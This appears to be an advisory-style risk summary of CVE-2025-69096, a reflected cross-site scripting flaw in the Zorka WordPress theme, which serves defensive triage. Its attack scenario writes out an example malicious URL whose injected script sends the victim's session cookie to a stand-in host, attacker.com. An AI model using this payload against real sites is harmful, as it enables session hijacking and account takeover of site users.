Zorka CVE-2025-69096

While a CVSS score and EPSS probability are not available for this CVE, the risk should be considered moderate to high based on the following signals: (1) the attack vector is Network with no authentication required (typical of reflected XSS), suggesting broad exploitability; (2) the CWE-79 classification is a well-understood and frequently exploited vulnerability class with numerous public POCs and automated detection tools available; (3) the vulnerability affects a WordPress theme, which runs on millions of websites, increasing the potential attack surface; (4) no KEV (Known Exploited Vulnerability) status has been assigned, indicating no evidence of active real-world exploitation at the time of analysis, though this may change; (5) Patchstack's confirmation suggests the vulnerability has been responsibly disclosed and likely has a patch available. The lack of CVSS metrics and EPSS data limits quantitative risk modeling, but reflected XSS vulnerabilities are generally prioritized below stored XSS due to the user interaction requirement, yet still warrant prompt remediation due to their ease of exploitation and potential for credential theft or session hijacking.

An attacker crafts a malicious URL such as 'https://victim-site.com/?search=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' and sends it to a user via email or social media, disguising it as a legitimate link. When the victim clicks the link, the Zorka theme reflects the unsanitized script parameter directly into the HTML response, causing the JavaScript to execute in the victim's browser with full access to session cookies, local storage, and the ability to perform authenticated actions on the site. The attacker's server logs the victim's session cookie, which can then be used to impersonate the user or administrator account. Since this is reflected XSS with no stored component, the attack requires social engineering to trick the user into visiting the malicious URL, but no POC or active exploitation in the wild has been documented at this time.